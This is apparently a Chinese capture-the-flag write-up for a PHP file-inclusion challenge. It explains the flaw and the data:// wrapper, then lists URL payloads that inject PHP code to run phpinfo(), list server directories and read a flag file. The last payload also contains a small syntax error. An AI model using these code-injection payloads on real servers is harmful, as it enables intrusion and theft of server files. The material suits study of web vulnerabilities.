32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
日更嵌入式的打工仔3 分钟前
LDR/STR
笔记
johnny23310 分钟前
渗透测试入门:Shannon、SpiderSuite、Payloader
安全
EmmaXLZHONG10 分钟前
分布式系统概念与设计笔记(Notes of Distributed Systems Concepts and Design)
笔记·分布式·网络协议·计算机网络
DoogalStudio19 分钟前
DevMind插件设计方案产品需求文档
人工智能·笔记
学历真的很重要20 分钟前
【系统架构师】第三章 数据库系统知识 - 数据库基础到关系代数(详细版)
数据库·学习·职场和发展·系统架构·系统架构师
林姜泽樾25 分钟前
linux基础第一章,linux的介绍和它和windows的区别
linux·运维·计算机网络·安全·网络安全
白云偷星子32 分钟前
RHCSA笔记6
linux·笔记
海边的Kurisu1 小时前
Spring Security | 集认证、授权、防攻击于一体的安全框架
安全
weixin_448119941 小时前
Datawhale Easy-Vibe 202602 第5次笔记
笔记
三水彡彡彡彡1 小时前
深入理解指针:常量、函数与数组
c++·学习